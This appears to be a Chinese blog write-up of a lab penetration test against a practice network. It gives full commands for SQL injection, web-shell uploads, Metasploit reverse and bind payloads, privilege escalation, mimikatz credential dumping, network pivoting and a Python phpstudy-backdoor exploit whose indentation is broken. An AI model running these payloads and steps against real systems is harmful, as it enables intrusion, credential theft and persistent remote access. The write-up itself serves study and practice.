一次完整的渗透测试

一次完整的渗透测试

环境

image-20230421094839524

信息收集

主机发现(netdiscover或nmap)

sudo netdiscover -i eth0 -r 192.168.0.0/24				//netdiscover需要root运行
nmap -sn 192.168.0.0/24

image-20230421095849224

image-20230421095828656

发现目标主机192.168.0.134

端口扫描(masscan或nmap)

masscan -p 1-65535 192.168.0.134 --rate=1000
nmap -sC -A -p 49151,21,6588,135,80,3389,53,999,49122 192.168.0.134 -oA cc123-port

image-20230421110324453

image-20230421100611015

网站信息

image-20230421100720988

image-20230421100745132

image-20230421100800733

本地设置

绑定网关

image-20230421111428345

sudo vi /etc/resolv.conf

image-20230421111601787

改为192.168.0.134

子域名收集

wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53

wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-110000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53

image-20230421131314024

子域名信息

dedecms(20150618)new.cc123.com
KesionEDUwww.cc123.com
netww2.cc123.com

漏洞测试

dedecms安全检测

dedecms判断版本

http://new.cc123.com/data/admin/ver.txt
版本为20150618

注册一个用户

http://new.cc123.com/member/

image-20230421131523403

dedecms 的版本是 20150618 存在注入。

添加一个分类(SQL注入需要)

在这里插入图片描述

用网上找到的exp

image-20230421131809630

得到密文 812df726be884ddcfc41 md5解密:admin7788

后台上传一句话木马,蚁剑连接

image-20230421131955095

image-20230421132037858

提权

权限太低,需要提权,上传aspx(大马)

image-20230421132217674

然后网页访问路径 密码是admin

image-20230421132319672

发现可以执行命令

image-20230421132350071

msf提权

后台上传 http://new.cc123.com/dede/ 文件管理器上传msf一句话

# 生成php马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=3333 -f raw -o 1.php

# 监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 3333
exploit

image-20230421132507282

检测能提权的漏洞

msf5 > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 1

image-20230421132922209

ms16_075提权

msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_075_reflection_juicy
msf5 exploit(windows/local/ms16_075_reflection_juicy) > set SESSION 1
msf5 exploit(windows/local/ms16_075_reflection_juicy) > exploit

此时已经是系统权限了。

得到flag

第一个flag

image-20230421133116976

第二个flag

image-20230421133145472

测试ww2.cc123.com安全

目录扫描(gobuster或dirsearch)

gobuster dir -u http://ww2.cc123.com -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "aspx,html" -o ww2dir

image-20230421133311960

访问admin目录

image-20230421133335176

尝试看验证码是否可以复用(bp)

image-20230421190751143

image-20230421190835475

更改密码后 放包发现 没有对验证码进行验证 存在复用 可以爆破

密码 cc123

尝试万能密码 admin‘–+ 直接登进后台

sqlmap测试注入

浏览后台 抓包观察到有id变量

一直返回不到shell 不停尝试其他页面

在这可以 getshell 点修改 抓包

image-20230421133612565

image-20230421133700574

image-20230421133723172

sqlmap -r cc123 --dbms mssql -v 1 --batch		//测试注入
sqlmap -r cc123 --dbms mssql -v 1 --dbs			//列出库
sqlmap -r sql_test.txt --dbms mssql -v 1 --batch --current-db --current-user	//爆当前用户及当前数据库
sqlmap -r sql_test.txt --dbms mssql -v 1 -D grcms_data --tables  //爆表名

image-20230421134345520

image-20230421134447304

当前用户是sa 权限比较大 尝试getshell 数据库权限

sqlmap -r sql_test.txt --dbms mssql -v 1 --os-shell

发现数据库处于不同网段 为站库分离 当前getshell为系统权限

image-20230421133933569

IP信息和用户权限

image-20230421134026800

查看端口情况 netstat -ano

发现有另一个网段的ip 猜测还有多一层网络

image-20230421134604811

第三个flag

image-20230421134637792

.net代码审计

找到网站的路径

dir查看web服务器的文件

下载dll原文件

image-20230421190240505

image-20230421190135766

image-20230421190257833

反编译dll(ILSpy)

移到Windows主机下,用工具反编译,进行.net代码审计

如果发现可疑的 找到url 丢sqlmap 跑 找到登录文件 查询相关dll文件

image-20230421190338896

image-20230421190425793

验证码可重用漏洞

image-20230421190926403

直接爆破

后台sql注入漏洞

image-20230421190944608

后台所有文件的值传递都是没有过滤,所以都存在注入

image-20230421191800451

后台编译器上传漏洞

发现编译器

image-20230421191223161

exp:(2条消息) kindeditor编辑器文件上传漏洞_kindeditor漏洞_shy014的博客-CSDN博客

image-20230421191400443

将dir改成file 可上传 漏洞可以造成挂黑页,与存储型xss

image-20230421191644049

访问即弹 cookie

image-20230421191822326

前台XSS

发现 mystat.aspx 文件中出现strStyle参数 且可控没加过滤

image-20230421191033471

image-20230421191909235

后台用户密文解密

在前面的sqlmap测试注入中,我们获得了用户的密文,无法解密

用户名密文密码
cc123B97C57DB005F954242450A255217DA9F
adminAE5F6187F32825CA

查找解密文件

反编译登录处的文件一般都可以找到加密的函数

image-20230421192225922

得到加解密函数Encrypt和Decrypt, key为yx139222

image-20230421192416923

image-20230421192431235

c#编写解密工具

打开 vs2012 新建项目选择.net4.5

将解密函数复制进来

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace WindowsFormsApplication2
{
	public partial class Form1 : Form
	{
		public Form1()
		{
			InitializeComponent();
		}
		
		public static string Decrypt(string pToDecrypt, string sKey)
		{
			DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
			byte[] array = new byte[pToDecrypt.Length / 2];
			for (int i = 0; i < pToDecrypt.Length / 2; i++)
			{
				int num = Convert.ToInt32(pToDecrypt.Substring(i * 2, 2), 16);
				array[i] = (byte)num;
			}
			dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
			dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
			MemoryStream memoryStream = new MemoryStream();
			CryptoStream cryptoStream = new CryptoStream(memoryStream,dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
			cryptoStream.Write(array, 0, array.Length);
			cryptoStream.FlushFinalBlock();
			new StringBuilder();
			return Encoding.Default.GetString(memoryStream.ToArray());
		}
		
		
		private void button1_Click(object sender, EventArgs e)
		{
			string passwd = textBox1.Text.Trim();
			string key = textBox2.Text.Trim();
			textBox3.Text = Decrypt(passwd, key);
		}
	}
}

拖动几个控件 编译生成 运行

image-20230421193012641

image-20230421193021807

admin cc123

cc123 qweasd123

多重网段内网渗透

web服务器信息收集

网卡信息

image-20230421193205570

存在两个 IP 192.168.0.134 10.10.10.135

路由信息

meterpreter > run get_local_subnets

image-20230421193248746

两个网段 10.10.10.0 192.168.0.0

迁移进程(维持shell)

image-20230421194906129

image-20230421193353076

哈希获取

哈希值获取 hash值破译后是密码 获取到Hash后,我们可以用破解工具来破解得到明文密码,也可以进行哈希传递攻击来横向渗透

image-20230421193455899

使用 mimikatz 获取明文
load mimikatz										//导入mimikatz
mimikatz_command -f samdump::hashes					//获取哈希
mimikatz_command -f sekurlsa::searchPasswords		//获取密码
wdigest												//查看密码列表
tspkg												//和上面一样

image-20230421193505601

image-20230421193512406

image-20230421195913021

image-20230421194042319

添加路由进行内网渗透
meterpreter > run autoroute -s 10.10.10.0/24

image-20230421193745965

启动 socks 代理
msf5 > use auxiliary/server/socks4a 
msf5 auxiliary(server/socks4a) > set srvport 2222
msf5 auxiliary(server/socks4a) > options 
msf5 auxiliary(server/socks4a) > run
使用 proxychains 配置文件

配置修改配置文件 sudo vim /etc/proxychains.conf

socks4 127.0.0.1 2222

image-20230421194327328

使用 proxychains 调用 nmap 扫描

image-20230421194250119

image-20230421194516132

成功。之后就可以调用其他程序进行内网方面信息收集。

数据库服务器信息收集

网卡端口信息

os-shell 执行 netstat -ano 查看端口信息

生成正向连接载荷
msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.134
set lport 13777

下面是两种上传bind.exe的方式

上传 bind.exe 到 WEB 服务器

image-20230421194629782

mssql 上传文件(asp大马)

image-20230421195427847

执行文件并且获取 session

使用正向连接监听

msf5 auxiliary(server/socks4a) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp 
msf5 exploit(multi/handler) > set RHOST 10.10.10.134 
msf5 exploit(multi/handler) > set lport 13777 lport => 13777 
msf5 exploit(multi/handler) > run

image-20230421195602834

加载 mimikatz 获取明文

流程跟上面的一样

最后,获取数据库主机明文 Administrator !@#QWEasd123

渗透目标服务器

添加路由

目标机子 10.10.1.0

 run autoroute -s 10.10.1.0/24
探测端口

image-20230421200049693

结果

Host is up (1.1s latency). 
Not shown: 989 closed ports 
PORT      STATE  SERVICE 
80/tcp 	  open   http 
135/tcp   open   msrpc 
139/tcp   open   netbios-ssn 
445/tcp   open   microsoft-ds 
3306/tcp  open   mysql 
49152/tcp open   unknown 
49153/tcp open   unknown 
49154/tcp open   unknown 
49155/tcp open   unknown 
49156/tcp open   unknown 
49157/tcp open   unknow
phpstudy 后门测试

访问 80端口发现是phpstudy探针

image-20230421200342719

看到php版本是5.4.45 搜一波漏洞 php后门事件

检查是否引用了php_xmlrpc.dll 只要引用了该文件,恶意代码就会触发

python 编写phpstudy后门exp
#conding:utf-8
import requests
import re
import sys
import base64
shell = "system('"+(sys.argv[1])+"');"
shell1 = base64.b64encode(shell.encode('utf-8'))
#shell1 =
"ZmlsZV9wdXRfY29udGVudHMlMjglMjdtb29uJTI3JTJDJTI3JTNDJTNGcGhwJTIwZXZhbCUy
OCUyNF9QT1NUJTVCJTIybW9vbiUyMiU1RCUyOSUzQiUzRiUzRSUyNyUyOSUzQg=="
header={'accept-charset':shell1,'Accept-Encoding':'gzip,deflate'}
def exploit(url):
html=requests.get(url=url,headers=header).text
return html
print(exploit('http://10.10.1.129/'))


写入 shell
proxychains3 python3 phpstudy.py "echo ^<?php
@eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"						
访问后门

image-20230421200549366

SocksCap64 设置本机代理

新增一个代理

image-20230421200723904

image-20230421200754808

代理软件添加蚁剑

image-20230421200832250

image-20230421200845105

连接shell

image-20230421200906491

获取目标机子的 session

将上次meterpreter 生成的正向连接的执行文件上传到服务器上,并更改meterpreter的rhost为目标主机的ip 运行执行文件 完成代理连接。

迁移进程

收集网卡信息

image-20230421201023244

进入shell 用arp-a 看下还有没有其他主机

image-20230421201043337

最后一个 flag

image-20230421201109777

总结

这个一个完整的渗透测试实例,我通过这个项目学到了很多知识,也了解到了自己的不足,比如对编辑器不熟悉,往往忽视了他的漏洞;在内网渗透中可以说是几乎没啥思路,现在对什么隧道代理,路由转发啥的也不了解,需要在这里下功夫;在.net代码审计更是摸不到头脑,只能百度,这样浪费了很多的时间。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值